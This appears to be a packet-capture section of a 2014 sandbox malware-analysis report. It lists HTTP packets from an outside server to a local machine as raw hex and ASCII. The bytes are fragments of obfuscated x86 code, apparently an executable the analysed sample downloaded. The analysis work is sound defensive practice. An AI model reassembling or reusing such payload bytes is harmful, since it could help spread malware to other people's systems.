Aug 8, 2014 11:26:05.166559935 MESZ801032213.186.33.87192.168.1.13Data Raw: d5 44 8a 65 b0 f1 61 0a 0a 23 a0 0a 80 0a 10 4e 0a 51 53 dd ea 0a 45 0a 0a 0a f2 0a 87 b0 cf e6 0a 8e 0a d4 0a 50 f0 23 70 27 a4 de 15 2e 0a bf 25 4b 8c 0a d6 4a 0a 0a 0a e9 ff 4a 0a fd dd 0d 05 62 0a 0a 0a 13 44 0a 43 0a 0a 8a 0a 0a f2 0a 8f 0a
Data Ascii: Dea#NQSEP#p'.%KJJbDC6.qCEIRa",} lS*dB[$\z2X&!M$S1#B7a:NM
34
Aug 8, 2014 11:26:05.167069912 MESZ801032213.186.33.87192.168.1.13Data Raw: 0a bb 0a 0a 0a a3 96 73 04 1e 31 34 0a c9 ee 0a 71 52 0a 47 0a 08 0a 91 cf 0a 0a 0a ee 0a 0a 0a 32 0a 0a c9 0a 1a 0a 0a 0a 42 0a 0a 0a 0a 02 ec 0a a8 0a 5d 0a 52 c7 0a 2b 0a 7a b0 0a a9 84 2a 76 4e 0a 7c 0a a0 07 87 34 c9 4b 54 0a 0a 91 95 0a 0a
Data Ascii: s14qRG2B]R+z*vN|4KTFKfg WTEgu(vUNyM`K2Y eA,n%D'}pZqp-EHOo*/
35
Aug 8, 2014 11:26:05.171161890 MESZ801032213.186.33.87192.168.1.13Data Raw: d5 01 00 83 c4 0c 6a 04 6a 00 8d 95 ec fc ff ff 52 e8 38 d5 01 00 83 c4 0c 6a 08 6a 00 8d 85 34 ff ff ff 50 e8 25 d5 01 00 83 c4 0c 8d 8d b0 fd ff ff 89 8d ec fc ff ff 0f b6 15 ca dd 41 00 85 d2 74 1c 0f b7 05 b8 4d 44 00 0f b6 0d 77 cd 44 00 33
Data Ascii: jjR8jj4P%AtMDwD3;fbBND}hQaBODSESEfE`B`BfNDSE\
36
Aug 8, 2014 11:26:05.173372030 MESZ801032213.186.33.87192.168.1.13Data Raw: 33 d2 66 89 15 b0 4d 44 00 8d 85 60 ff ff ff 50 6a 00 ff 15 0c 60 42 00 0f bf 0d 0a 4f 44 00 0f b6 15 cd be 42 00 0b ca 66 89 0d b0 4d 44 00 eb 12 ff 15 c4 62 42 00 ff 15 cc 62 42 00 ff 15 90 60 42 00 a0 c3 08 45 00 a2 56 53 45 00 0f b6 0d 05 e4
Data Ascii: 3fMD`Pj`BODBfMDbBbB`BEVSECVSE3;NDOD3gSEbB8ODfcCfSEfBSEfTDfNDND0ODSEfREbDSESESExf
37
Aug 8, 2014 11:26:05.173398972 MESZ801032213.186.33.87192.168.1.13Data Raw: dd 00 00 00 83 e1 1f 89 0d 38 4f 44 00 eb 12 ff 15 78 61 42 00 ff 15 cc 62 42 00 ff 15 ac 62 42 00 c7 85 2c fe ff ff 54 01 00 00 eb 0f 8b 95 2c fe ff ff 83 ea 01 89 95 2c fe ff ff 83 bd 2c fe ff ff 68 76 1d 0f b6 05 71 e9 42 00 0f b6 0d d3 2d 43
Data Ascii: 8ODxaBbBbB,T,,,hvqB-C3;PMDNDSEfSEfNDNDRE^BE3;SE},+REfMDEbB
39
Aug 8, 2014 11:26:05.174146891 MESZ801032213.186.33.87192.168.1.13Data Raw: 00 c7 85 8c fb ff ff 7e 00 00 00 83 bd 8c fb ff ff 7e 74 02 eb 1d 0f b6 0d 8a 16 44 00 83 f1 74 66 89 0d ec 4e 44 00 c6 05 56 53 45 00 01 e9 80 00 00 00 0f b7 15 76 53 45 00 0f b6 0d 89 69 44 00 83 e1 1f d3 fa 89 15 10 4e 44 00 33 c0 81 3d 94 53
Data Ascii: ~~tDtfNDVSEvSEiDND3=SE%yH@tMfMp0fNDD3MQMD`BxaBfASEE03D3FWS
39
Aug 8, 2014 11:26:05.183235884 MESZ801032213.186.33.87192.168.1.13Data Raw: c9 3b d0 0f 94 c1 83 e1 1f 66 89 0d ec 4e 44 00 0f b6 15 4d 8e 44 00 33 c0 81 fa a4 00 00 00 0f 95 c0 83 e0 1f 66 a3 e4 52 45 00 6a 00 6a 00 8d 8d 64 fe ff ff 51 68 3c 4f 44 00 68 44 4f 44 00 ff 15 f8 62 42 00 c7 05 94 53 45 00 22 00 00 00 66 8b
Data Ascii: ;fNDMD3fREjjdQh<ODhDODbBSE"fSEfEEE}vWDfOD\aBlNDtt=BND3;fNDBMD;tfND
41
Aug 8, 2014 11:26:05.183264971 MESZ801032213.186.33.87192.168.1.13Data Raw: 81 f9 d8 00 00 00 0f 9c c2 66 89 15 e8 4e 44 00 0f b6 05 57 53 45 00 0f be 0d 52 4d 44 00 33 d2 3b c1 0f 94 c2 88 15 90 53 45 00 c7 05 38 4f 44 00 e8 00 00 00 66 a1 38 4f 44 00 66 89 85 f4 fc ff ff 0f b6 0d db df 44 00 ba f6 00 00 00 d3 fa 89 95
Data Ascii: fNDWSERMD3;SE8ODf8ODfDpBVSE>CSE#tJVSE39pfODiADt2.BMDUNDfND|bBxbB4OD;8OD
43
Aug 8, 2014 11:26:05.183274984 MESZ801032213.186.33.87192.168.1.13Data Raw: ff 00 00 00 00 eb 0f 8b 95 9c fc ff ff 83 c2 01 89 95 9c fc ff ff 81 bd 9c fc ff ff 00 02 00 00 7d 02 eb e3 66 0f b6 05 59 40 44 00 66 a3 e4 52 45 00 0f b7 0d e4 52 45 00 89 8d 94 fe ff ff 66 8b 95 94 fe ff ff 66 89 55 f4 0f b6 05 90 53 45 00 0f
Data Ascii: }fY@DfREREffUSEMSEhbBfNDD0OD:A}0ODSEdbB|bBbB<ND<NDSERMDw
44
Aug 8, 2014 11:26:05.187496901 MESZ801032213.186.33.87192.168.1.13Data Raw: 85 f4 fc ff ff 0f b6 0d ae cf 42 00 33 d2 3b c1 0f 9f c2 83 e2 1f 66 89 15 f0 4e 44 00 0f b6 05 9b c1 44 00 33 c9 83 f8 79 0f 9e c1 66 89 0d e8 4e 44 00 6a 00 6a 00 8d 95 64 fe ff ff 52 68 60 4f 44 00 68 68 4f 44 00 ff 15 f8 62 42 00 c7 05 44 4e
Data Ascii: B3;fNDD3yfNDjjdRh`ODhhODbBDNDYC3=DNDtBSESE%fNDLaBvif,SE
44
Aug 8, 2014 11:26:05.261112928 MESZ801032213.186.33.87192.168.1.13Data Raw: ff ff 00 02 00 00 7d 14 68 00 02 00 00 8d 8d b0 fd ff ff 51 ff 15 88 61 42 00 eb d1 0f b6 15 89 28 44 00 89 95 cc fe ff ff 8b 85 cc fe ff ff 89 45 ec 8b 4d ec 81 e1 e8 00 00 00 83 e1 1f 66 89 0d 84 53 45 00 eb 0c ff 15 a4 62 42 00 ff 15 a8 61 42
Data Ascii: }hQaB(DEMfSEbBaB[6CffMDMDSfOD`Pj`BfMD*DMD3fRECSEREM3`%yH
45
Aug 8, 2014 11:26:05.261147976 MESZ801032213.186.33.87192.168.1.13Data Raw: c0 66 a3 18 4f 44 00 8b 8d 74 fd ff ff 83 c1 08 89 8d 74 fd ff ff 0f b6 15 c9 4e 43 00 8b 45 e0 2b c2 a2 ec 52 45 00 81 bd 74 fd ff ff 23 01 00 00 7c d4 66 0f b6 0d ef b0 44 00 66 89 0d b0 4d 44 00 ba fd 00 00 00 85 d2 74 15 0f b6 05 a6 04 43 00
Data Ascii: fODttNCE+REt#|fDfMDtC5f-9C,B;~MDSEDaBfV1DfMDfMDfNDNDfDf\MDSESESEA
47
Aug 8, 2014 11:26:05.261162996 MESZ801032213.186.33.87192.168.1.13Data Raw: 00 00 00 0f 9e c2 66 89 15 ec 4e 44 00 eb 06 ff 15 80 60 42 00 b8 53 00 00 00 66 89 85 f4 fc ff ff c7 85 d8 fc ff ff 97 00 00 00 66 8b 8d d8 fc ff ff 66 89 0d a4 4e 44 00 0f b6 15 8b 4b 43 00 0f bf 05 a4 4e 44 00 33 c9 3b d0 0f 95 c1 89 8d d8 fe
Data Ascii: fND`BSfffNDKCND3;`fNDNDBM0ODSERMDfRMDfEBU3;CtSSEtfpMD
48
Aug 8, 2014 11:26:05.261687994 MESZ801032213.186.33.87192.168.1.13Data Raw: 00 3b 95 d8 fe ff ff 1b c0 f7 d8 25 00 00 00 80 79 05 48 83 c8 ff 40 83 c0 3d 89 85 68 fb ff ff 83 bd 68 fb ff ff 3d 74 02 eb 32 0f b6 0d 24 91 43 00 0f b6 15 90 53 45 00 33 c0 3b ca 0f 94 c0 a2 8a 53 45 00 0f b6 0d 56 0a 42 00 3b 0d 38 4f 44 00
Data Ascii: ;%yH@=hh=t2$CSE3;SEVB;8ODfNDMD
49
Aug 8, 2014 11:26:05.261907101 MESZ801032213.186.33.87192.168.1.13Data Raw: 00 b8 b3 00 00 00 3b 05 f8 4d 44 00 1b c9 f7 d9 83 e1 1f 88 0d ec 52 45 00 eb 06 ff 15 60 61 42 00 0f b6 15 bb 59 40 00 89 15 30 4f 44 00 a1 30 4f 44 00 89 85 c0 fe ff ff 66 0f b6 0d db c8 42 00 66 89 0d e8 4e 44 00 ba 88 00 00 00 66 89 15 06 53
Data Ascii: ;MDRE`aBY@0OD0ODfBfNDfSESE3YSEffND+SEtYNDf4ODSEq@;uND3tNDN*BDU$D5
50
Aug 8, 2014 11:26:05.261928082 MESZ801032213.186.33.87192.168.1.13Data Raw: fe ff ff 83 c8 35 83 e0 1f 89 85 2c fe ff ff 83 bd c0 fe ff ff 00 74 19 0f b6 0d 5c f7 42 00 0f b6 15 06 18 44 00 0b ca 83 e1 1f 88 0d 8a 53 45 00 eb 0c ff 15 74 62 42 00 ff 15 64 62 42 00 b8 8c 00 00 00 66 89 85 f4 fc ff ff 66 8b 8d d8 fc ff ff
Data Ascii: 5,t\BDSEtbBdbBfffRE+tREQMD+fRE`Pj`BjEjSE8bBH`B`BfSE)E0ODsCaDMDY
52
Aug 8, 2014 11:26:05.262546062 MESZ801032213.186.33.87192.168.1.13Data Raw: 83 e1 1f ba 1a 00 00 00 d3 e2 88 15 50 4d 44 00 eb 12 ff 15 08 60 42 00 ff 15 58 61 42 00 ff 15 a0 61 42 00 c7 45 84 6b 01 00 00 eb 09 8b 45 84 83 e8 01 89 45 84 81 7d 84 cd 00 00 00 76 1a 0f b6 0d 68 24 43 00 33 d2 81 f9 a2 00 00 00 0f 9f c2 88
Data Ascii: PMD`BXaBaBEkEE}vh$C3RMDosRE?f|`B(aB8`BE`Qj`BREfND$aBxbBt3
53
Aug 8, 2014 11:26:05.265361071 MESZ801032213.186.33.87192.168.1.13Data Raw: 00 c7 05 cc 4e 44 00 00 00 00 00 eb 12 ff 15 2c 62 42 00 ff 15 b4 61 42 00 ff 15 94 60 42 00 0f b6 05 e9 af 43 00 99 b9 a4 00 00 00 f7 f9 a2 90 53 45 00 0f bf 15 a4 4e 44 00 b8 83 00 00 00 2b c2 a2 d4 53 45 00 eb 0c ff 15 28 62 42 00 ff 15 1c 61
Data Ascii: ND,bBaB`BCSEND+SE(bBaB=f4OD@SE@k~79D"QMD@@SE4OD3RMD`Pj`BfNDycfNDNDVS
54
Aug 8, 2014 11:26:05.265391111 MESZ801032213.186.33.87192.168.1.13Data Raw: 55 94 43 00 89 15 94 53 45 00 0f be 05 51 4d 44 00 33 c9 3b 05 94 53 45 00 0f 9d c1 89 4d 88 8b 95 d4 fe ff ff 3b 95 94 fe ff ff 75 12 8b 45 88 33 d2 b9 41 00 00 00 f7 f1 88 15 d4 53 45 00 eb 12 ff 15 98 62 42 00 ff 15 4c 60 42 00 ff 15 70 60 42
Data Ascii: UCSEQMD3;SEM;uE3ASEbBL`Bp`B,Ch`Pj`BQMD^QMDtfNDrx@=tfnMDaBaBbBMDSESE-RMD`Rj`B
56
Aug 8, 2014 11:26:05.265400887 MESZ801032213.186.33.87192.168.1.13Data Raw: 00 00 0f b7 05 e8 4e 44 00 0d 84 00 00 00 89 85 d8 fe ff ff eb 0c ff 15 bc 62 42 00 ff 15 58 62 42 00 c6 05 8a 53 45 00 99 c7 85 14 fd ff ff 1b 00 00 00 eb 0f 8b 8d 14 fd ff ff 83 c1 10 89 8d 14 fd ff ff 83 bd 14 fd ff ff 5f 7d 0c c7 85 cc fe ff
Data Ascii: NDbBXbBSE_}@C#UffNDNDMdaBh`B8aBSEJSE3QMD3=SEfMPMDPMD3SEV
57
Aug 8, 2014 11:26:05.277621031 MESZ801032213.186.33.87192.168.1.13Data Raw: b3 00 00 00 0f 94 c2 89 95 08 fd ff ff eb 06 ff 15 64 60 42 00 b8 11 00 00 00 66 a3 a4 4e 44 00 c7 85 68 fc ff ff 00 00 00 00 eb 0f 8b 8d 68 fc ff ff 83 c1 01 89 8d 68 fc ff ff 81 bd 68 fc ff ff 01 02 00 00 7d 14 68 01 02 00 00 8d 95 b0 fd ff ff
Data Ascii: d`BfNDhhhh}hRaB#C9f:SE:SEVSE3;EbBTGDBND`Pj`B1BNDSE`BEl8"#~Bf
58
Aug 8, 2014 11:26:05.277626991 MESZ801032213.186.33.87192.168.1.13Data Raw: d9 c7 85 50 fc ff ff 00 00 00 00 eb 0f 8b 95 50 fc ff ff 83 c2 01 89 95 50 fc ff ff 81 bd 50 fc ff ff 00 02 00 00 7d 14 68 00 02 00 00 8d 85 b0 fd ff ff 50 ff 15 88 61 42 00 eb d1 0f b6 0d 72 78 40 00 89 0d 0c 4e 44 00 66 8b 15 0c 4e 44 00 66 89
Data Ascii: PPPP}hPaBrx@NDfNDfNDNDLbB$bB$bB$DRERE|B+URE"RESEEfNDtSE1E3tfUND4O
60
Aug 8, 2014 11:26:05.277746916 MESZ801032213.186.33.87192.168.1.13Data Raw: 00 c7 85 d8 fe ff ff 06 00 00 00 c7 45 ec 0a 00 00 00 b9 43 00 00 00 66 89 8d f4 fc ff ff c7 85 38 fe ff ff f7 00 00 00 8b 85 d8 fe ff ff 6b c0 29 2b 45 ec 33 d2 b9 01 00 00 00 f7 f1 83 c2 0d 89 95 14 fb ff ff 83 bd 14 fb ff ff 0d 74 02 eb 2b 8b
Data Ascii: ECf8k)+E3t+t]SE8fPSEjjdPhODhODbB$bBfNDz@NDDHHHH
60
Aug 8, 2014 11:26:05.281863928 MESZ801032213.186.33.87192.168.1.13Data Raw: 45 00 33 ca 81 e1 00 00 00 80 79 05 49 83 c9 ff 41 83 c1 0d 89 8d 0c fb ff ff 83 bd 0c fb ff ff 0d 74 02 eb 1f 0f b6 05 57 53 45 00 33 c9 83 f8 7a 0f 94 c1 89 0d 94 4e 44 00 c7 05 d4 4e 44 00 27 00 00 00 c7 45 84 49 00 00 00 e9 93 00 00 00 0f b6
Data Ascii: E3yIAtWSE3zNDND'EIWSE3fND;D%yJBtVSEDfMDMDMSEbB`B
61
Aug 8, 2014 11:26:05.294123888 MESZ801032213.186.33.87192.168.1.13Data Raw: 66 89 15 b0 4d 44 00 0f b7 05 b0 4d 44 00 25 b8 00 00 00 83 e0 1f 66 a3 e4 52 45 00 eb 06 ff 15 84 60 42 00 8a 0d 14 4f 44 00 88 0d 90 53 45 00 c6 05 ab 53 45 00 e4 ba 87 00 00 00 66 89 15 b0 4d 44 00 a0 b0 4d 44 00 a2 cc 53 45 00 0f be 0d cc 53
Data Ascii: fMDMD%fRE`BODSESEfMDMDSESEMVCSE+fNDFv:SE3pVSEM@@@@}hRaB
62
Aug 8, 2014 11:26:05.294226885 MESZ801032213.186.33.87192.168.1.13Data Raw: eb 12 ff 15 3c 61 42 00 ff 15 70 60 42 00 ff 15 2c 62 42 00 ba b3 00 00 00 66 89 55 f4 0f bf 45 f4 a3 7c 4e 44 00 b9 b7 00 00 00 85 c9 74 0a c7 05 38 4f 44 00 01 00 00 00 8d 95 60 ff ff ff 52 6a 00 ff 15 10 60 42 00 c7 85 94 fd ff ff 1d 00 00 00
Data Ascii: <aBp`B,bBfUE|NDt8OD`Rj`BE3MD|DE8D33ZZthU9NDEaBSEfTCfND8ODf8ODfNDC
63
Aug 8, 2014 11:26:05.309199095 MESZ801032213.186.33.87192.168.1.13Data Raw: 05 8e 00 00 00 89 85 f8 fa ff ff 81 bd f8 fa ff ff 8e 00 00 00 74 02 eb 2e 0f b7 0d e8 4e 44 00 0f b6 15 f1 38 43 00 0f af ca 88 0d 98 53 45 00 0f bf 05 f0 4e 44 00 33 c9 3d e8 00 00 00 0f 9c c1 88 0d 51 4d 44 00 8b 95 80 fd ff ff 33 c0 3b 95 68
Data Ascii: t.ND8CSEND3=QMD3;hWSE3PMDD4444}hPaBDtEE%+tjD;~\
64
Aug 8, 2014 11:26:05.309206009 MESZ801032213.186.33.87192.168.1.13Data Raw: af 05 30 4f 44 00 0f b7 8d f4 fc ff ff 2b c1 74 1c 0f bf 15 ec 4e 44 00 0f b7 05 be 4d 44 00 03 d0 83 e2 1f 66 89 15 34 4f 44 00 eb 0e b9 28 00 00 00 2b 8d 4c fe ff ff 89 4d ec c7 85 2c fe ff ff 01 00 00 00 eb 06 ff 15 58 61 42 00 0f b6 15 6d 87
Data Ascii: 0OD+tNDMDf4OD(+LM,XaBmBREREfNDU3v\`BMfD8OD=8OD[fODXaB`BxjjdRhODhO
66
Aug 8, 2014 11:26:05.309207916 MESZ801032213.186.33.87192.168.1.13Data Raw: e1 1f 66 89 4d f4 eb 12 ff 15 6c 62 42 00 ff 15 70 61 42 00 ff 15 18 61 42 00 0f b6 15 22 94 42 00 89 15 30 4f 44 00 0f b6 05 f3 27 43 00 8b 0d 30 4f 44 00 83 e1 1f d3 f8 a2 56 53 45 00 8d 8d 60 ff ff ff 51 6a 00 ff 15 10 60 42 00 c6 05 ec 52 45
Data Ascii: fMlbBpaBaB"B0OD'C0ODVSE`Qj`BREREPND;NDfMDW~DAARE3;x3=PND@aBbBjjdQh
67
Aug 8, 2014 11:26:05.309315920 MESZ801032213.186.33.87192.168.1.13Data Raw: c0 60 42 00 ff 15 ac 61 42 00 ff 15 38 62 42 00 c7 85 80 fd ff ff ae 00 00 00 8b 95 80 fd ff ff 89 95 2c fe ff ff 8b 85 74 fd ff ff a3 d0 53 45 00 ba 9c 00 00 00 8b 4d c8 d3 e2 85 d2 74 11 8b 85 2c fe ff ff 83 e0 12 66 a3 f8 4e 44 00 eb 31 0f b6
Data Ascii: `BaB8bB,tSEMt,fND1EtB3;
67
Aug 8, 2014 11:26:05.316991091 MESZ801032213.186.33.87192.168.1.13Data Raw: d0 53 45 00 0f 95 c0 89 45 e0 eb 0f 8b 8d 98 fe ff ff 83 c9 25 89 8d 10 fd ff ff 6a 00 6a 00 8d 95 64 fe ff ff 52 68 f0 4f 44 00 68 f4 4f 44 00 ff 15 f8 62 42 00 0f b6 05 50 12 42 00 0d b0 00 00 00 89 85 78 ff ff ff eb 0b ff 15 38 60 42 00 e8 45
Data Ascii: SEE%jjdRhODhODbBPBx8`BE]CSEDPDDD}EESESESE+fNDaBD'fDf0SE0SE3
69
Aug 8, 2014 11:26:05.317002058 MESZ801032213.186.33.87192.168.1.13Data Raw: ff eb 06 ff 15 f4 60 42 00 0f b6 05 1d 2a 42 00 0f b6 0d 9d 41 42 00 d3 f8 66 a3 a4 4e 44 00 c7 85 6c ff ff ff 58 00 00 00 c7 85 6c ff ff ff b9 00 00 00 33 c9 81 bd 6c ff ff ff 95 00 00 00 0f 95 c1 83 e1 1f 89 8d 54 fe ff ff 8b 15 e8 52 45 00 23
Data Ascii: `B*BABfNDlXl3lTRE#8ODPMDllfCifMDl-|bBaB,bBfNDf%LaB
70
Aug 8, 2014 11:26:05.317274094 MESZ801032213.186.33.87192.168.1.13Data Raw: ff 0f 94 c1 66 89 0d f0 4e 44 00 eb cf c7 85 20 fc ff ff 00 00 00 00 eb 0f 8b 95 20 fc ff ff 83 c2 01 89 95 20 fc ff ff 81 bd 20 fc ff ff 02 02 00 00 7d 14 68 02 02 00 00 8d 85 b0 fd ff ff 50 ff 15 88 61 42 00 eb d1 0f bf 0d 1a 4f 44 00 81 c9 fd
Data Ascii: fND }hPaBODWSEffMDWSEMDtNDaB`BffMDnB]<Et7kkxM
71
Aug 8, 2014 11:26:05.321636915 MESZ801032213.186.33.87192.168.1.13Data Raw: 00 c7 85 2c fe ff ff 6e 00 00 00 8b 85 2c fe ff ff 89 85 d8 fe ff ff 0f bf 05 a4 4e 44 00 99 b9 81 00 00 00 f7 f9 33 c0 81 fa b5 00 00 00 0f 9d c0 25 00 00 00 80 79 05 48 83 c8 ff 40 05 92 00 00 00 89 85 d0 fa ff ff 81 bd d0 fa ff ff 92 00 00 00
Data Ascii: ,n,ND3%yH@t.-U9,[#D+SERMD;U`BaB`BA/xfMDfMDfpSEfnBf
73
Aug 8, 2014 11:26:05.321665049 MESZ801032213.186.33.87192.168.1.13Data Raw: 44 00 68 20 50 44 00 ff 15 f8 62 42 00 0f b6 05 21 70 40 00 33 c9 3d 99 00 00 00 0f 9e c1 66 89 0d e8 4e 44 00 eb 12 ff 15 dc 61 42 00 ff 15 88 60 42 00 ff 15 d8 61 42 00 c7 45 88 50 00 00 00 0f b6 15 57 53 45 00 33 c0 83 fa 11 0f 94 c0 a2 51 4d
Data Ascii: Dh PDbB!p@3=fNDaB`BaBEPWSE3QMD [B}EfMDMDSESE3@f$SE$SEKf*SEH
74
Aug 8, 2014 11:26:05.321675062 MESZ801032213.186.33.87192.168.1.13Data Raw: 00 83 e2 1f 66 89 15 e8 4e 44 00 eb 2a 8b 45 9c 33 c9 3b 05 d0 53 45 00 0f 94 c1 89 8d e4 fc ff ff 0f bf 15 1a 4f 44 00 81 f2 f1 00 00 00 83 e2 1f 89 95 14 fd ff ff c7 85 10 fc ff ff 00 00 00 00 eb 0f 8b 85 10 fc ff ff 83 c0 01 89 85 10 fc ff ff
Data Ascii: fND*E3;SEOD}hQaBUDCB3;UXRMD+3tyIAt3t
75
Aug 8, 2014 11:26:05.326406956 MESZ801032213.186.33.87192.168.1.13Data Raw: 34 8b 45 ec 2b 85 c0 fe ff ff 74 12 8b 8d 58 fe ff ff 03 4d 9c 66 89 0d 16 53 45 00 eb 17 0f be 0d 8a 53 45 00 83 e1 1f ba a8 00 00 00 d3 e2 89 95 cc fe ff ff eb 0c ff 15 dc 60 42 00 ff 15 04 61 42 00 8b 85 6c ff ff ff 99 b9 a3 00 00 00 f7 f9 89
Data Ascii: 4E+tXMfSESE`BaBl+f`Pj`B_BWSESEKSEt$WSE,LSESE3kU
76
Aug 8, 2014 11:26:05.326435089 MESZ801032213.186.33.87192.168.1.13Data Raw: ff ff 81 bd 08 fc ff ff 00 02 00 00 7d 02 eb e3 ba fa 00 00 00 66 89 95 9c fe ff ff 8a 85 9c fe ff ff a2 8a 53 45 00 0f b6 0d 02 fe 43 00 0f be 15 8a 53 45 00 33 c0 3b ca 0f 9d c0 66 a3 ec 4e 44 00 66 8b 8d 74 fd ff ff 66 89 0d 2c 4f 44 00 c7 85
Data Ascii: }fSECSE3;fNDftf,ODH0HHH~fvSEbBREjjdRh$PDh0PDbBA3=f*OD*ODU\bBt`BpaB
78
Aug 8, 2014 11:26:05.326962948 MESZ801032213.186.33.87192.168.1.13Data Raw: 4e 44 00 d4 00 00 00 e9 a8 00 00 00 c6 05 56 53 45 00 01 33 c9 81 bd 68 ff ff ff f3 00 00 00 0f 94 c1 0f b7 15 40 53 45 00 33 c0 3b ca 0f 94 c0 25 00 00 00 80 79 05 48 83 c8 ff 40 05 e3 00 00 00 89 85 9c fa ff ff 81 bd 9c fa ff ff e3 00 00 00 74
Data Ascii: NDVSE3h@SE3;%yH@t.3hTSEQ?E+tiSE>oB#UfH`BbBHbBSEE,>SERERE;,
79
Aug 8, 2014 11:26:05.335059881 MESZ801032213.186.33.87192.168.1.13Data Raw: 00 00 89 95 d0 fe ff ff c7 45 84 1e 00 00 00 8b 45 84 89 85 44 fe ff ff c6 05 90 53 45 00 91 8a 0d 90 53 45 00 88 0d 98 53 45 00 ba 1a 00 00 00 85 d2 74 4c c7 85 48 ff ff ff 01 00 00 00 8b 85 6c ff ff ff 99 b9 90 00 00 00 f7 f9 0d ec 00 00 00 74
Data Ascii: EEDSESESEtLHltxSETDNDSE#NDSEfNDaB,bBxxE<MM}`vQABf
80
Aug 8, 2014 11:26:05.335089922 MESZ801032213.186.33.87192.168.1.13Data Raw: 00 00 8b 8d e0 fc ff ff 83 c1 07 89 8d e0 fc ff ff 0f be 15 8a 53 45 00 33 c0 83 fa 42 0f 9f c0 a2 ec 52 45 00 81 bd e0 fc ff ff 49 01 00 00 7c d1 eb 0c ff 15 c4 62 42 00 ff 15 a4 60 42 00 c7 45 e0 11 00 00 00 c6 05 8a 53 45 00 ef 0f be 0d 8a 53
Data Ascii: SE3BREI|bB`BESESESEfUfRE3PAtU;SERERE;uSE}hQ
82
Aug 8, 2014 11:26:05.335099936 MESZ801032213.186.33.87192.168.1.13Data Raw: 66 89 15 6c 4d 44 00 c6 05 a7 53 45 00 01 c7 85 ec fb ff ff 00 00 00 00 eb 0f 8b 95 ec fb ff ff 83 c2 01 89 95 ec fb ff ff 81 bd ec fb ff ff 01 02 00 00 7d 02 eb e3 66 0f b6 05 75 f5 42 00 66 a3 e4 52 45 00 66 8b 0d e4 52 45 00 66 89 8d f4 fc ff
Data Ascii: flMDSE}fuBfREfREf0ODE4bB(aBaBND3=P}hPaBfMDMDLH
83
Aug 8, 2014 11:26:05.338382959 MESZ801032213.186.33.87192.168.1.13Data Raw: 89 95 d0 fe ff ff 0f b6 05 37 ec 41 00 33 c9 83 f8 76 0f 95 c1 89 8d c0 fe ff ff 8b 95 3c ff ff ff 33 c0 3b 95 10 fd ff ff 0f 94 c0 a3 64 4e 44 00 c7 85 54 fe ff ff 01 00 00 00 eb 06 ff 15 cc 62 42 00 c7 05 d0 53 45 00 65 00 00 00 c7 45 a0 4c 00
Data Ascii: 7A3v<3;dNDTbBSEeELfMfNDttt-3=SE,ND3^DpptC\fDbB"f4OD4OD
84
Aug 8, 2014 11:26:05.338412046 MESZ801032213.186.33.87192.168.1.13Data Raw: 00 00 00 0f b6 0d 91 11 42 00 ba bb 00 00 00 d3 fa 89 95 60 fe ff ff eb 06 ff 15 70 62 42 00 0f b6 05 bf 79 44 00 33 c9 83 f8 76 0f 94 c1 88 0d ae 53 45 00 c7 85 e0 fb ff ff 00 00 00 00 eb 0f 8b 95 e0 fb ff ff 83 c2 01 89 95 e0 fb ff ff 81 bd e0
Data Ascii: B`pbByD3vSE}NDSESE3HSEfJDfNDffEfMfvSENDtTRE0OD33
86
Aug 8, 2014 11:26:05.338931084 MESZ801032213.186.33.87192.168.1.13Data Raw: 7d 14 68 01 02 00 00 8d 8d b0 fd ff ff 51 ff 15 88 61 42 00 eb d1 c7 05 14 4e 44 00 01 00 00 00 eb 12 ff 15 0c 62 42 00 ff 15 94 62 42 00 ff 15 5c 62 42 00 c7 05 38 4f 44 00 b0 00 00 00 c7 85 14 fd ff ff 03 00 00 00 8b 95 84 fd ff ff 89 95 08 fd
Data Ascii: }hQaBNDbBbB\bB8ODX8OD33<tRE#XtRMD}hPaB\E6C
86
Aug 8, 2014 11:26:05.394205093 MESZ801032213.186.33.87192.168.1.13Data Raw: c0 81 fa e5 00 00 00 0f 9e c0 83 e0 1f 89 85 58 fe ff ff 8d 8d 60 ff ff ff 51 6a 00 ff 15 10 60 42 00 ba ae 11 00 00 85 d2 74 14 0f b6 05 5d ff 42 00 0d a4 00 00 00 89 85 7c fd ff ff eb 07 c7 45 88 01 00 00 00 eb 06 ff 15 d8 61 42 00 c7 85 30 ff
Data Ascii: X`Qj`Bt]B|EaB0}hRaBSE3=SE}aBcC jjdRhHPDhPPDbBf<SE
87
Aug 8, 2014 11:26:05.402489901 MESZ801032213.186.33.87192.168.1.13Data Raw: ff 8b 85 d8 fc ff ff 89 85 38 fe ff ff 8b 8d 84 fd ff ff 81 e1 8b 00 00 00 74 1a 0f b6 0d 6a 2f 44 00 83 e1 1f ba ce 00 00 00 d3 fa 66 89 15 34 4f 44 00 eb 16 8b 8d 38 fe ff ff 83 e1 1f b8 3c 00 00 00 d3 e0 89 85 c8 fc ff ff c7 85 c4 fc ff ff 18
Data Ascii: 8tj/Df4OD8<\~;E3NDXbB`BbBPnxfOD0OD0ODOD+0ODfMDf^D+
89
Aug 8, 2014 11:26:05.402508020 MESZ801032213.186.33.87192.168.1.13Data Raw: d2 83 c2 01 66 89 15 84 53 45 00 eb 12 ff 15 08 61 42 00 ff 15 9c 61 42 00 ff 15 dc 62 42 00 c7 85 80 fd ff ff 01 00 00 00 c7 85 cc fb ff ff 00 00 00 00 eb 0f 8b 85 cc fb ff ff 83 c0 01 89 85 cc fb ff ff 81 bd cc fb ff ff 00 02 00 00 7d 14 68 00
Data Ascii: fSEaBaBbB}hQaBD3SESEbBSECVSEp%E%yH@<<t,SE
90
Aug 8, 2014 11:26:05.402625084 MESZ801032213.186.33.87192.168.1.13Data Raw: 8b 8d 18 fd ff ff 33 d2 3b 0d 38 4f 44 00 0f 94 c2 83 e2 1f 89 95 18 fd ff ff eb 0c ff 15 a8 62 42 00 ff 15 90 60 42 00 0f b6 05 e1 ef 42 00 89 85 94 fe ff ff 8b 8d 94 fe ff ff 83 e1 5a 89 0d e8 52 45 00 33 d2 74 13 83 bd 94 fd ff ff 51 1b c0 f7
Data Ascii: 3;8ODbB`BBZRE3tQfND3X!@bB`BCND/"E#ND8OD`Pj`BC3fUifMDkn3tESE
92
Aug 8, 2014 11:26:05.402632952 MESZ801032213.186.33.87192.168.1.13Data Raw: 0c 62 42 00 ff 15 00 62 42 00 0f b6 0d 9b 73 44 00 89 8d d0 fe ff ff 8b 15 38 4f 44 00 39 15 d0 53 45 00 1b c0 f7 d8 a3 38 4f 44 00 0f b6 0d f8 23 42 00 39 0d e8 52 45 00 74 16 0f b6 15 3c 02 45 00 2b 95 d0 fe ff ff 66 89 15 34 4f 44 00 eb 32 a1
Data Ascii: bBbBsD8OD9SE8OD#B9REt<E+f4OD28OD3tt.D
